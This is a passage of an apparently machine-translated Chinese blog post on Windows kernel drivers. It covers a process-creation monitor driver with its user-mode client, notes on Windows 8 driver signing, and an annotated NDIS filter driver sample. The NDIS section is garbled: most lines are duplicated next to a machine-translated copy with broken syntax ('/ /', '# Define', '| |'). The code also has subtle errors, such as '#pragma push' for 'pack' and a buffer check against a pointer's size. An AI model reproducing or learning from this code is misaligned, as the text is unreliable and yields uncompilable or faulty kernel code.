    return Status;
}

NTSTATUS
ProcmonDispatchDeviceControl(
    IN PDEVICE_OBJECT       DeviceObject,
    IN PIRP                 Irp
)
{
    NTSTATUS            Status = STATUS_SUCCESS;
    PIO_STACK_LOCATION  irpStack;
    PDEVICE_EXTENSION   deviceExtension;
    ULONG               inBufLength, outBufLength;
    ULONG               ioControlCode;
    PCALLBACK_INFO      pCallbackInfo;

    // 获取当前设备栈
    irpStack = IoGetCurrentIrpStackLocation(Irp);
    deviceExtension = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;

    // 提取信息
    pCallbackInfo = Irp->AssociatedIrp.SystemBuffer;
    inBufLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
    outBufLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
    ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;

    // 处理不同的IOCTL
    switch (ioControlCode)
    {
    case IOCTL_PROC_MON:
        {
            KdPrint(("[ProcMon] IOCTL: 0x%X", ioControlCode));

            if (outBufLength >= sizeof(PCALLBACK_INFO))
            {
                pCallbackInfo->hParentId = deviceExtension->hParentId;
                pCallbackInfo->hProcessId = deviceExtension->hProcessId;
                pCallbackInfo->bCreate = deviceExtension->bCreate;

                Irp->IoStatus.Information = outBufLength;
            }
            break;
        }

    default:
        {
            Status = STATUS_INVALID_PARAMETER;
            Irp->IoStatus.Information = 0;

            KdPrint(("[ProcMon] Unknown IOCTL: 0x%X (%04X,%04X)", \
                    ioControlCode, DEVICE_TYPE_FROM_CTL_CODE(ioControlCode), \
                    IoGetFunctionCodeFromCtlCode(ioControlCode)));

            break;
        }
    }

    Irp->IoStatus.Status = Status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return Status;
}

VOID
ProcmonUnload(
    IN PDRIVER_OBJECT       DriverObject
)
{
    UNICODE_STRING dosDeviceName;

    //
    // Free any resources
    //

    // 卸载回调例程
    PsSetCreateProcessNotifyRoutine(ProcessCallback, TRUE);

    //
    // Delete the symbolic link
    //

    RtlInitUnicodeString(&dosDeviceName, PROCMON_DOS_DEVICE_NAME_W);

    IoDeleteSymbolicLink(&dosDeviceName);

    //
    // Delete the device object
    //

    IoDeleteDevice(DriverObject->DeviceObject);

    KdPrint(("[ProcMon] Unloaded"));
}

VOID
ProcessCallback(
    IN HANDLE               ParentId,           // 父进程ID
    IN HANDLE               ProcessId,          // 发生事件的进程ID
    IN BOOLEAN              Create              // 进程是创建还是终止
)
{
    PDEVICE_EXTENSION deviceExtension = (PDEVICE_EXTENSION)g_pDeviceObject->DeviceExtension;

    deviceExtension->hParentId = ParentId;
    deviceExtension->hProcessId = ProcessId;
    deviceExtension->bCreate = Create;

    // 触发事件，通知应用程序
    KeSetEvent(deviceExtension->ProcessEvent, 0, FALSE);
    KeClearEvent(deviceExtension->ProcessEvent);
}

ring3 application layer calls to get the monitoring process creation

      #include "windows.h"
#include "winioctl.h"
#include "stdio.h"
#include "../inc/ioctls.h"

#define SYMBOL_LINK "\\\\.\\ProcMon"
//#define SYMBOL_LINK "\\\\.\\slNTProcDrv"

int main()
{
    CALLBACK_INFO cbkinfo, cbktemp = {0};

    // 打开驱动设备对象
    HANDLE hDriver = ::CreateFile(
                            SYMBOL_LINK,
                            GENERIC_READ | GENERIC_WRITE,
                            0,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
    if (hDriver == INVALID_HANDLE_VALUE)
    {
        printf("打开驱动设备对象失败！\n");

        return -1;
    }

    // 打开内核事件对象
    HANDLE hProcessEvent = ::OpenEventW(SYNCHRONIZE, FALSE, EVENT_NAME);

    while (::WaitForSingleObject(hProcessEvent, INFINITE))
    {
        DWORD   dwRet;
        BOOL    bRet;

        bRet = ::DeviceIoControl(
                            hDriver,
                            IOCTL_PROC_MON,
                            NULL,
                            0,
                            &cbkinfo,
                            sizeof(cbkinfo),
                            &dwRet,
                            NULL);

        if (bRet)
        {
            if (cbkinfo.hParentId != cbktemp.hParentId || \
                cbkinfo.hProcessId != cbktemp.hProcessId || \
                cbkinfo.bCreate != cbktemp.bCreate)
            {
                if (cbkinfo.bCreate)
                {
                    printf("有进程被创建，PID = %d\n", cbkinfo.hProcessId);
                }
                else
                {
                    printf("有进程被终止，PID = %d\n", cbkinfo.hProcessId);
                }

                cbktemp = cbkinfo;
            }
        }
        else
        {
            printf("\n获取进程信息失败！\n");
            break;
        }
    }

    ::CloseHandle(hDriver);

    return 0;
}

Win8 system development driver, also need to drive the need for a digital certificate, the signature verification. Not like XP below as crazy drops bullying.

 Win8 system kernel drastic changes, and XP system kernel have been great changes, the most significant is just to say: the need for signatures and certificates. There is: not at liberty HOOK SSDT.

WDK Development Kit provides a new framework in the development of the NDIS driver shouted NDIS Filter
NDIS Filter is an example of engineering.
False in my WDK installed on the E drive, then the engineering code:
C: \ WinDDK \ 8600.16385.1 \ src \ network \ ndis \ filter directory.

Example works and the original the Passthru project code to do, you will find the original need to be guided by the two types the callback function MiniportXXX and ProtocolXXX in the new framework is all hidden.
Microsoft provides a new function. Take a look at what Microsoft provides.
Here, in order to facilitate analysis, I function code do functional annotation, please take a look at.

Code is as follows:

      #pragma NDIS_INIT_FUNCTION(DriverEntry)  # Pragma NDIS_INIT_FUNCTION (DriverEntry)

#define LITTLE_ENDIAN   (1)  # Define LITTLE_ENDIAN (1)
//  / /
// Global variables  / / Global variables
//   / /
NDIS_HANDLE         FilterDriverHandle; // NDIS handle for filter driver  NDIS_HANDLE FilterDriverHandle; / / NDIS handle for filter driver
NDIS_HANDLE         FilterDriverObject;  NDIS_HANDLE FilterDriverObject;
NDIS_HANDLE         NdisFilterDeviceHandle = NULL;  NDIS_HANDLE NdisFilterDeviceHandle = NULL;
PDEVICE_OBJECT      DeviceObject = NULL;  PDEVICE_OBJECT DeviceObject = NULL;

FILTER_LOCK         FilterListLock;  FILTER_LOCK FilterListLock;
LIST_ENTRY          FilterModuleList;  LIST_ENTRY FilterModuleList;
PWCHAR              InstanceStrings = NULL;  PWCHAR InstanceStrings = NULL;

NDIS_FILTER_PARTIAL_CHARACTERISTICS DefaultChars = {  NDIS_FILTER_PARTIAL_CHARACTERISTICS DefaultChars = {
{ 0, 0, 0},  {0, 0, 0},
      0,  0,
      FilterSendNetBufferLists,  FilterSendNetBufferLists,
      FilterSendNetBufferListsComplete,  FilterSendNetBufferListsComplete,
      NULL,  NULL,
      FilterReceiveNetBufferLists,  FilterReceiveNetBufferLists,
      FilterReturnNetBufferLists  FilterReturnNetBufferLists
};      };

typedef struct in_addr {  typedef struct in_addr {
  union {  union {
    struct { UCHAR s_b1,s_b2,s_b3,s_b4; } S_un_b;  struct {UCHAR s_b1, s_b2, s_b3, s_b4;} S_un_b;
    struct { USHORT s_w1,s_w2; } S_un_w;  struct {USHORT s_w1, s_w2;} S_un_w;
    ULONG S_addr;  ULONG S_addr;
  } S_un;  } S_un;
} IN_ADDR, *PIN_ADDR, FAR *LPIN_ADDR;  } IN_ADDR, * PIN_ADDR, FAR * LPIN_ADDR;

#pragma push(1)  # Pragma push (1)
typedef struct IP_HEADER  typedef struct IP_HEADER
{  {

#if LITTLE_ENDIAN  # If LITTLE_ENDIAN
  unsigned char  ip_hl:4;    /* 头长度 */  unsigned char ip_hl: 4; / * header length * /
  unsigned char  ip_v:4;      /* 版本号 */  unsigned char ip_v: 4; / * version number * /
#else  # Else
  unsigned char   ip_v:4;  unsigned char ip_v: 4;
  unsigned char   ip_hl:4;       unsigned char ip_hl: 4;
#endif  # Endif

  unsigned char  TOS;           // 服务类型  unsigned char TOS; / / Type of Service

  unsigned short   TotLen;      // 封包总长度，即整个IP包的长度  unsigned short TotLen; / / total length of the packet, ie the length of the entire IP packet
  unsigned short   ID;          // 封包标识，唯一标识发送的每一个数据报  unsigned short ID; / / packet identification uniquely identifying the transmitter each data packets
  unsigned short   FlagOff;     // 标志  unsigned short FlagOff; / / flag
  unsigned char  TTL;           // 生存时间，就是TTL  unsigned char TTL; / / survival time is TTL
  unsigned char  Protocol;      // 协议，可能是TCP、UDP、ICMP等  unsigned char Protocol; / / protocol, may be TCP, UDP, ICMP, etc.
  unsigned short Checksum;      // 校验和  unsigned short Checksum; / / checksum
  struct in_addr        iaSrc;  // 源IP地址  struct in_addr iaSrc; / / source IP address
  struct in_addr        iaDst;  // 目的PI地址  struct in_addr iaDst; / / purpose of PI address

}IP_HEADER, *PIP_HEADER;  } IP_HEADER, * PIP_HEADER;

typedef struct tcp_header  typedef struct tcp_header
{  {
  unsigned short src_port;    //源端口号  unsigned short src_port; / / source port number
  unsigned short dst_port;    //目的端口号  unsigned short dst_port; / / destination port number
  unsigned int   seq_no;      //序列号  unsigned int seq_no; / / serial number
  unsigned int   ack_no;      //确认号  unsigned int ack_no; / / confirmation number
#if LITTLE_ENDIAN  # If LITTLE_ENDIAN
  unsigned char reserved_1:4; //保留6位中的4位首部长度  unsigned char reserved_1: 4; / / 6 4 header length reserved
  unsigned char thl:4;    //tcp头部长度  unsigned char thl: 4; / / tcp header length
  unsigned char flag:6;  //6位标志  unsigned char flag: 6; / / 6 bit flags
  unsigned char reseverd_2:2; //保留6位中的2位  unsigned char reseverd_2: 2; / / retain two of the six
#else  # Else
  unsigned char thl:4;    //tcp头部长度  unsigned char thl: 4; / / tcp header length
  unsigned char reserved_1:4; //保留6位中的4位首部长度  unsigned char reserved_1: 4; / / 6 4 header length reserved
  unsigned char reseverd_2:2; //保留6位中的2位  unsigned char reseverd_2: 2; / / retain two of the six
  unsigned char flag:6;  //6位标志   unsigned char flag: 6; / / 6 bit flags
#endif  # Endif
  unsigned short wnd_size;   //16位窗口大小  unsigned short wnd_size; / / 16-bit window size
  unsigned short chk_sum;    //16位TCP检验和  unsigned short chk_sum; / / 16-bit TCP checksum
  unsigned short urgt_p;     //16为紧急指针  unsigned short urgt_p; / / 16 for urgent pointer

}TCP_HEADER,*PTCP_HEADER;  } TCP_HEADER, * PTCP_HEADER;

typedef struct udp_header   typedef struct udp_header
{  {
  USHORT srcport;   // 源端口  USHORT srcport; / / source port
  USHORT dstport;   // 目的端口  USHORT dstport; / / destination port
  USHORT total_len; // 包括UDP报头及UDP数据的长度(单位:字节)  The USHORT total_len; / / include the UDP header and UDP data length (unit: byte)
  USHORT chksum;    // 校验和  USHORT chksum; / / checksum

}UDP_HEADER,*PUDP_HEADER;  } UDP_HEADER, * PUDP_HEADER;
#pragma push()  # Pragma push ()

#define IP_OFFSET                               0x0E  # Define IP_OFFSET 0x0E

//IP 协议类型  / / IP protocol type
#define PROT_ICMP                               0x01   # Define PROT_ICMP 0x01
#define PROT_TCP                                0x06   # Define PROT_TCP 0x06
#define PROT_UDP                                0x11   # Define PROT_UDP 0x11

USHORT UTIL_htons( USHORT hostshort )  USHORT UTIL_htons (USHORT hostshort)
{  {
  PUCHAR  pBuffer;  PUCHAR pBuffer;
  USHORT  nResult;  USHORT nResult;

  nResult = 0;  nResult = 0;
  pBuffer = (PUCHAR )&hostshort;  pBuffer = (PUCHAR) &hostshort;

  nResult = ( (pBuffer[ 0 ] << 8) & 0xFF00) | (pBuffer[ 1 ] & 0x00FF);  nResult = ((pBuffer [0] << 8) & 0xFF00) | (pBuffer [1] & 0x00FF);

  return( nResult );  return (nResult);
}  }

/*UTIL_ntohs把网络字节顺序转换成主机字节顺序*/  / * UTIL_ntohs network byte order to host byte order * /
USHORT UTIL_ntohs( USHORT netshort )  USHORT UTIL_ntohs (USHORT netshort)
{  {
  return( UTIL_htons( netshort ) );  return (UTIL_htons (netshort));
}  }

NTSTATUS   NTSTATUS
DriverEntry(IN  PDRIVER_OBJECT  DriverObject, IN  PUNICODE_STRING   RegistryPath)  DriverEntry (IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{  {
    NDIS_STATUS                             Status;  NDIS_STATUS Status;
    NDIS_FILTER_DRIVER_CHARACTERISTICS      FChars;  NDIS_FILTER_DRIVER_CHARACTERISTICS FChars;
    NDIS_STRING                             ServiceName;  NDIS_STRING ServiceName;
    NDIS_STRING                             UniqueName;  NDIS_STRING UniqueName;
    NDIS_STRING                             FriendlyName;  NDIS_STRING FriendlyName;
    BOOLEAN                                 bFalse = FALSE;  BOOLEAN bFalse = FALSE;

    UNREFERENCED_PARAMETER(RegistryPath);  UNREFERENCED_PARAMETER (RegistryPath);

    DEBUGP(DL_TRACE,("===>DriverEntry...\n"));  DEBUGP (DL_TRACE, ("===> DriverEntry ... \ n"));

    RtlInitUnicodeString(&ServiceName, FILTER_SERVICE_NAME);  RtlInitUnicodeString (& ServiceName, FILTER_SERVICE_NAME);
    RtlInitUnicodeString(&FriendlyName, FILTER_FRIENDLY_NAME);  RtlInitUnicodeString (& FriendlyName, FILTER_FRIENDLY_NAME);
    RtlInitUnicodeString(&UniqueName, FILTER_UNIQUE_NAME);  RtlInitUnicodeString (& UniqueName, FILTER_UNIQUE_NAME);
    FilterDriverObject = DriverObject;  FilterDriverObject = DriverObject;

    do  do
    {  {
        NdisZeroMemory(&FChars, sizeof(NDIS_FILTER_DRIVER_CHARACTERISTICS));    NdisZeroMemory (& FChars, sizeof (NDIS_FILTER_DRIVER_CHARACTERISTICS));

/* / *
大多数的NDIS6.0数据结构中包含的对象头结构的成员，即NDIS_OBJECT_HEADER结构。 The majority of NDIS6.0 data structure contains a member of the object header structure, i.e. NDIS_OBJECT_HEADER structure.
对象头有三个成员：类型，大小和修改。 Object header has three members: the type, size, and modify.如果头信息是不正确的，那么调用NDIS6.0函数将失败。 If the header information is incorrect, then call NDIS6.0 function will fail.
*/  * /
        FChars.Header.Type =    FChars.Header.Type =
        NDIS_OBJECT_TYPE_FILTER_DRIVER_CHARACTERISTICS;  NDIS_OBJECT_TYPE_FILTER_DRIVER_CHARACTERISTICS;
        FChars.Header.Size = sizeof(NDIS_FILTER_DRIVER_CHARACTERISTICS);  FChars.Header.Size = sizeof (NDIS_FILTER_DRIVER_CHARACTERISTICS);
        FChars.Header.Revision = NDIS_FILTER_CHARACTERISTICS_REVISION_1;  FChars.Header.Revision = NDIS_FILTER_CHARACTERISTICS_REVISION_1;

        FChars.MajorNdisVersion = FILTER_MAJOR_NDIS_VERSION;  FChars.MajorNdisVersion = FILTER_MAJOR_NDIS_VERSION;
        FChars.MinorNdisVersion = FILTER_MINOR_NDIS_VERSION;  FChars.MinorNdisVersion = FILTER_MINOR_NDIS_VERSION;
        FChars.MajorDriverVersion = 1;  FChars.MajorDriverVersion = 1;
        FChars.MinorDriverVersion = 0;  FChars.MinorDriverVersion = 0;
        FChars.Flags = 0;  FChars.Flags = 0;

        FChars.FriendlyName = FriendlyName;  FChars.FriendlyName = FriendlyName;
        FChars.UniqueName = UniqueName;  FChars.UniqueName = UniqueName;
        FChars.ServiceName = ServiceName;  FChars.ServiceName = ServiceName;

/****************************************************** / ************************************************* *****
NDIS_FILTER_DRIVER_CHARACTERISTICS结构中Mandatory例程 NDIS_FILTER_DRIVER_CHARACTERISTICS structure Mandatory routine
******************************************************/  ************************************************** **** /
        FChars.AttachHandler = FilterAttach;  FChars.AttachHandler = FilterAttach;
        FChars.DetachHandler = FilterDetach;  FChars.DetachHandler = FilterDetach;
        FChars.RestartHandler = FilterRestart;  FChars.RestartHandler = FilterRestart;
        FChars.PauseHandler = FilterPause;  FChars.PauseHandler = FilterPause;

/************************************************************ / ************************************************* ***********
NDIS_FILTER_DRIVER_CHARACTERISTICS结构中Optional且不能在运行时变更的例程 NDIS_FILTER_DRIVER_CHARACTERISTICS structure Optional and can not be changed at run time routines
*************************************************************/  ************************************************** *********** /
        FChars.SetOptionsHandler = FilterRegisterOptions;  FChars.SetOptionsHandler = FilterRegisterOptions;
        FChars.SetFilterModuleOptionsHandler = FilterSetModuleOptions;  FChars.SetFilterModuleOptionsHandler = FilterSetModuleOptions;
        FChars.OidRequestHandler = FilterOidRequest;  FChars.OidRequestHandler = FilterOidRequest;
        FChars.OidRequestCompleteHandler = FilterOidRequestComplete;  FChars.OidRequestCompleteHandler = FilterOidRequestComplete;
        FChars.StatusHandler = FilterStatus;  FChars.StatusHandler = FilterStatus;
       FChars.DevicePnPEventNotifyHandler = FilterDevicePnPEventNotify;  FChars.DevicePnPEventNotifyHandler = FilterDevicePnPEventNotify;
       FChars.NetPnPEventHandler = FilterNetPnPEvent;        FChars.NetPnPEventHandler = FilterNetPnPEvent;
      FChars.CancelSendNetBufferListsHandler = FilterCancelSendNetBufferLists;  FChars.CancelSendNetBufferListsHandler = FilterCancelSendNetBufferLists;

/************************************************************** / ************************************************* *************
DIS_FILTER_DRIVER_CHARACTERISTICS结构中Optional且能在运行时变更的例程。 DIS_FILTER_DRIVER_CHARACTERISTICS structure Optional and can be changed at run time routines.

下面这4个例程也被定义在NDIS_FILTER_PARTIAL_CHARACTERISTICS中,这个结构指定的 The following four routines defined in NDIS_FILTER_PARTIAL_CHARACTERISTICS This structure specifies
例程可以在运行时的FilterSetModuleOptions例程中调用NdisSetOptionHandles来改变。 The routine called the runtime FilterSetModuleOptions routine NdisSetOptionHandles to change.
如果过滤驱动要在例程中修改自身的一个特性,那么必须提供FilterSetModuleOptions例程。 If the filter driver to modify a feature of its own routine, you must provide FilterSetModuleOptions routines.
****************************************************************/  ************************************************** ************** /
        FChars.SendNetBufferListsHandler = FilterSendNetBufferLists;    FChars.SendNetBufferListsHandler = FilterSendNetBufferLists;
   FChars.SendNetBufferListsCompleteHandler = FilterSendNetBufferListsComplete;  FChars.SendNetBufferListsCompleteHandler = FilterSendNetBufferListsComplete;
        FChars.ReturnNetBufferListsHandler = FilterReturnNetBufferLists;  FChars.ReturnNetBufferListsHandler = FilterReturnNetBufferLists;
        FChars.ReceiveNetBufferListsHandler = FilterReceiveNetBufferLists;  FChars.ReceiveNetBufferListsHandler = FilterReceiveNetBufferLists;

       ///  / / /
        FChars.CancelOidRequestHandler = FilterCancelOidRequest;          FChars.CancelOidRequestHandler = FilterCancelOidRequest;

        DriverObject->DriverUnload = FilterUnload;  DriverObject-> DriverUnload = FilterUnload;

        FilterDriverHandle = NULL;  FilterDriverHandle = NULL;

        FILTER_INIT_LOCK(&FilterListLock);  FILTER_INIT_LOCK (& FilterListLock);

        InitializeListHead(&FilterModuleList);  InitializeListHead (& FilterModuleList);

  // 把Filter驱动注册给NDIS  / / Filter driver registered to NDIS
        Status = NdisFRegisterFilterDriver(DriverObject,  Status = NdisFRegisterFilterDriver (DriverObject,
                                           (NDIS_HANDLE)FilterDriverObject,  (NDIS_HANDLE) FilterDriverObject,
                                           &FChars,   & FChars,
                                           &FilterDriverHandle);  & FilterDriverHandle);
        if (Status != NDIS_STATUS_SUCCESS)  if (Status! = NDIS_STATUS_SUCCESS)
        {  {
            DEBUGP(DL_WARN, ("MSFilter: Register filter driver failed.\n"));   DEBUGP (DL_WARN, ("MSFilter: Register filter driver failed. \ N"));
            break;  break;
        }  }
        //  / /
        // Initilize spin locks  / / Initilize spin locks
        //  / /

        Status = FilterRegisterDevice();  Status = FilterRegisterDevice ();

        if (Status != NDIS_STATUS_SUCCESS)  if (Status! = NDIS_STATUS_SUCCESS)
        {  {
            NdisFDeregisterFilterDriver(FilterDriverHandle);  NdisFDeregisterFilterDriver (FilterDriverHandle);
            FILTER_FREE_LOCK(&FilterListLock);  FILTER_FREE_LOCK (& FilterListLock);
            DEBUGP(DL_WARN, ("MSFilter: Register device for the filter driver failed.\n"));   DEBUGP (DL_WARN, ("MSFilter: Register device for the filter driver failed. \ N"));
            break;  break;
        }  }

    }   }
    while(bFalse);  while (bFalse);

    DEBUGP(DL_TRACE, ("<===DriverEntry, Status = %8x\n", Status));  DEBUGP (DL_TRACE, ("<=== DriverEntry, Status =% 8x \ n", Status));
    return Status;  return Status;

}  }

//过滤驱动注册可选服务  / / Filter driver registration optional services
NDIS_STATUS  NDIS_STATUS
FilterRegisterOptions(  FilterRegisterOptions (
        IN NDIS_HANDLE  NdisFilterDriverHandle, //它指向了这个过滤驱动  IN NDIS_HANDLE NdisFilterDriverHandle, / / ​​it points to the filter driver
        IN NDIS_HANDLE  FilterDriverContext     //它是这个驱动的上下文  IN NDIS_HANDLE FilterDriverContext / / It is the context of this driver
        )  )
{  {
    DEBUGP(DL_TRACE, ("===>FilterRegisterOptions\n"));  DEBUGP (DL_TRACE, ("===> FilterRegisterOptions \ n"));

    ASSERT(NdisFilterDriverHandle == FilterDriverHandle);  ASSERT (NdisFilterDriverHandle == FilterDriverHandle);
    ASSERT(FilterDriverContext == (NDIS_HANDLE)FilterDriverObject);  ASSERT (FilterDriverContext == (NDIS_HANDLE) FilterDriverObject);

    if ((NdisFilterDriverHandle != (NDIS_HANDLE)FilterDriverHandle) ||  if ((NdisFilterDriverHandle! = (NDIS_HANDLE) FilterDriverHandle) | |
        (FilterDriverContext != (NDIS_HANDLE)FilterDriverObject))  (FilterDriverContext! = (NDIS_HANDLE) FilterDriverObject))
    {  {
        return NDIS_STATUS_INVALID_PARAMETER;  return NDIS_STATUS_INVALID_PARAMETER;
    }  }

    DEBUGP(DL_TRACE, ("<===FilterRegisterOptions\n"));  DEBUGP (DL_TRACE, ("<=== FilterRegisterOptions \ n"));

    return (NDIS_STATUS_SUCCESS);  return (NDIS_STATUS_SUCCESS);
}  }

/***************************************************************   / ************************************************* **************
FilterAttach函数的功能: Function of function FilterAttach:
   Attaching状态表示：一个Filter Driver正准备附加一个Filter Module到一个驱动栈上。 The Attaching status: a Filter Driver is preparing to attach a Filter Module to a driver on the stack.
   一个过滤驱动进入Attaching状态下不能进行发送请求、接收指示、状态指示、OID请求操作。 A filter can not be driven into the Attaching state sends a request to receive instructions, status indication, OID requested operation.

   当一个过滤驱动进入Attaching状态时，它可以: When a filter driver to enter Attaching state, it can:
   (1)创建一个环境上下文区域并且初始化一个缓冲区池以及其Filter Module特点的资源。 (1) to create an environment in the context of regional and initialize a buffer pool and Filter Module features resources.
  (2)用NDIS 传来给Filter Attach的NdisFilterHandle作为输入来调用NdisFSetAttributes例程。 (2) use the NDIS came to the Filter Attach NdisFilterHandle to as input call NdisFSetAttributes routine.

   Attach is complete Attach is complete
   当Filter Module在Attaching状态下并且Filter Driver初始化了所有的Filter Module所需要的 When the Filter Module Attaching the state and initializes all Filter Module Filter Driver
   所有资源时,Filter Module进入Paused状态。 All resources, Filter Module into the Paused state.

   参数说明： Parameter Description:
    NdisFilterHandle     它用于所有过滤驱动中对Ndisxxx类例程的调用时引用指示这个过滤模块。 NdisFilterHandle references indicate this filter module for all filter driver Ndisxxx class routine call.
    FilterDriverContext  它由NdisFRegisterFilterDriver的FilterDriverContext来指定。 By NdisFRegisterFilterDriver the FilterDriverContext FilterDriverContext it to be specified.
    AttachParameters     它是过滤模块的初始化参数结构体。 AttachParameters filter module initialization parameter structure.
 **************************************************************/  ************************************************** ************ /
NDIS_STATUS  NDIS_STATUS
FilterAttach(  FilterAttach (
    IN  NDIS_HANDLE                     NdisFilterHandle,  IN NDIS_HANDLE NdisFilterHandle,
    IN  NDIS_HANDLE                     FilterDriverContext,  IN NDIS_HANDLE FilterDriverContext,
    IN  PNDIS_FILTER_ATTACH_PARAMETERS  AttachParameters  IN PNDIS_FILTER_ATTACH_PARAMETERS AttachParameters
    )  )

{  {
    PMS_FILTER              pFilter = NULL;  PMS_FILTER pFilter = NULL;
    NDIS_STATUS             Status = NDIS_STATUS_SUCCESS;  NDIS_STATUS Status = NDIS_STATUS_SUCCESS;
    NDIS_FILTER_ATTRIBUTES  FilterAttributes;  NDIS_FILTER_ATTRIBUTES FilterAttributes;
    ULONG                   Size;  ULONG Size;
    BOOLEAN               bFalse = FALSE;  BOOLEAN bFalse = FALSE;

    DEBUGP(DL_TRACE, ("===>FilterAttach: NdisFilterHandle %p\n", NdisFilterHandle));  DEBUGP (DL_TRACE, ("===> FilterAttach: NdisFilterHandle% p \ n", NdisFilterHandle));

    do  do
    {  {
        ASSERT(FilterDriverContext == (NDIS_HANDLE)FilterDriverObject);  ASSERT (FilterDriverContext == (NDIS_HANDLE) FilterDriverObject);
        if (FilterDriverContext != (NDIS_HANDLE)FilterDriverObject)  if (FilterDriverContext! = (NDIS_HANDLE) FilterDriverObject)
        {  {
            Status = NDIS_STATUS_INVALID_PARAMETER;  Status = NDIS_STATUS_INVALID_PARAMETER;
            break;  break;
        }  }

        if ((AttachParameters->MiniportMediaType != NdisMedium802_3)  if ((AttachParameters-> MiniportMediaType! = NdisMedium802_3)
                && (AttachParameters->MiniportMediaType != NdisMediumWan))  && (AttachParameters-> MiniportMediaType! = NdisMediumWan))
        {  {
           DEBUGP(DL_ERROR, ("MSFilter: Doesn't support media type other than NdisMedium802_3.\n"));   DEBUGP (DL_ERROR, ("MSFilter: Doesn't support media type other than NdisMedium802_3. \ N"));

           Status = NDIS_STATUS_INVALID_PARAMETER;  Status = NDIS_STATUS_INVALID_PARAMETER;
           break;  break;
        }  }

        Size = sizeof(MS_FILTER) +   Size = sizeof (MS_FILTER) +
               AttachParameters->FilterModuleGuidName->Length +   AttachParameters-> FilterModuleGuidName-> Length +
               AttachParameters->BaseMiniportInstanceName->Length +   AttachParameters-> BaseMiniportInstanceName-> Length +
               AttachParameters->BaseMiniportName->Length;  AttachParameters-> BaseMiniportName-> Length;

        pFilter = (PMS_FILTER)FILTER_ALLOC_MEM(NdisFilterHandle, Size);  pFilter = (PMS_FILTER) FILTER_ALLOC_MEM (NdisFilterHandle, Size);
        if (pFilter == NULL)  if (pFilter == NULL)
        {  {
            DEBUGP(DL_WARN, ("MSFilter: Failed to allocate context structure.\n"));  DEBUGP (DL_WARN, ("MSFilter: Failed to allocate context structure. \ N"));
            Status = NDIS_STATUS_RESOURCES;  Status = NDIS_STATUS_RESOURCES;
            break;  break;
        }  }

        NdisZeroMemory(pFilter, sizeof(MS_FILTER));  NdisZeroMemory (pFilter, sizeof (MS_FILTER));

        pFilter->FilterModuleName.Length = pFilter->FilterModuleName.MaximumLength = AttachParameters->FilterModuleGuidName->Length;  pFilter-> FilterModuleName.Length = pFilter-> FilterModuleName.MaximumLength = AttachParameters-> FilterModuleGuidName-> Length;
        pFilter->FilterModuleName.Buffer = (PWSTR)((PUCHAR)pFilter + sizeof(MS_FILTER));  pFilter-> FilterModuleName.Buffer = (PWSTR) ((PUCHAR) pFilter + sizeof (MS_FILTER));

        NdisMoveMemory(pFilter->FilterModuleName.Buffer,   NdisMoveMemory (pFilter-> FilterModuleName.Buffer,
                        AttachParameters->FilterModuleGuidName->Buffer,  AttachParameters-> FilterModuleGuidName-> Buffer,
                        pFilter->FilterModuleName.Length);  pFilter-> FilterModuleName.Length);

        pFilter->MiniportFriendlyName.Length = pFilter->MiniportFriendlyName.MaximumLength = AttachParameters->BaseMiniportInstanceName->Length;  pFilter-> MiniportFriendlyName.Length = pFilter-> MiniportFriendlyName.MaximumLength = AttachParameters-> BaseMiniportInstanceName-> Length;
        pFilter->MiniportFriendlyName.Buffer = (PWSTR)((PUCHAR)pFilter->FilterModuleName.Buffer + pFilter->FilterModuleName.Length);  pFilter-> MiniportFriendlyName.Buffer = (PWSTR) ((PUCHAR) pFilter-> FilterModuleName.Buffer + pFilter-> FilterModuleName.Length);

  NdisMoveMemory(pFilter->MiniportFriendlyName.Buffer,   NdisMoveMemory (pFilter-> MiniportFriendlyName.Buffer,
                       AttachParameters->BaseMiniportInstanceName->Buffer,  AttachParameters-> BaseMiniportInstanceName-> Buffer,
                        pFilter->MiniportFriendlyName.Length);  pFilter-> MiniportFriendlyName.Length);

        pFilter->MiniportName.Length = pFilter->MiniportName.MaximumLength = AttachParameters->BaseMiniportName->Length;  pFilter-> MiniportName.Length = pFilter-> MiniportName.MaximumLength = AttachParameters-> BaseMiniportName-> Length;
        pFilter->MiniportName.Buffer = (PWSTR)((PUCHAR)pFilter->MiniportFriendlyName.Buffer +   pFilter-> MiniportName.Buffer = (PWSTR) ((PUCHAR) pFilter-> MiniportFriendlyName.Buffer +
                                                   pFilter->MiniportFriendlyName.Length);  pFilter-> MiniportFriendlyName.Length);
        NdisMoveMemory(pFilter->MiniportName.Buffer,   NdisMoveMemory (pFilter-> MiniportName.Buffer,
                        AttachParameters->BaseMiniportName->Buffer,  AttachParameters-> BaseMiniportName-> Buffer,
                        pFilter->MiniportName.Length);  pFilter-> MiniportName.Length);

        pFilter->MiniportIfIndex = AttachParameters->BaseMiniportIfIndex;  pFilter-> MiniportIfIndex = AttachParameters-> BaseMiniportIfIndex;

        pFilter->TrackReceives = TRUE;  pFilter-> TrackReceives = TRUE;
        pFilter->TrackSends = TRUE;  pFilter-> TrackSends = TRUE;
        pFilter->FilterHandle = NdisFilterHandle;  pFilter-> FilterHandle = NdisFilterHandle;

        NdisZeroMemory(&FilterAttributes, sizeof(NDIS_FILTER_ATTRIBUTES));  NdisZeroMemory (& FilterAttributes, sizeof (NDIS_FILTER_ATTRIBUTES));
        FilterAttributes.Header.Revision = NDIS_FILTER_ATTRIBUTES_REVISION_1;  FilterAttributes.Header.Revision = NDIS_FILTER_ATTRIBUTES_REVISION_1;
        FilterAttributes.Header.Size = sizeof(NDIS_FILTER_ATTRIBUTES);  FilterAttributes.Header.Size = sizeof (NDIS_FILTER_ATTRIBUTES);
        FilterAttributes.Header.Type = NDIS_OBJECT_TYPE_FILTER_ATTRIBUTES;  FilterAttributes.Header.Type = NDIS_OBJECT_TYPE_FILTER_ATTRIBUTES;
        FilterAttributes.Flags = 0;  FilterAttributes.Flags = 0;

        Status = NdisFSetAttributes(NdisFilterHandle,   Status = NdisFSetAttributes (NdisFilterHandle,
                                    pFilter, //pFilter参数的功能是，为过滤模块指定环境上下文  The function of pFilter, / / ​​pFilter parameters specify the environmental context for the filter module
                                    &FilterAttributes);  & FilterAttributes);

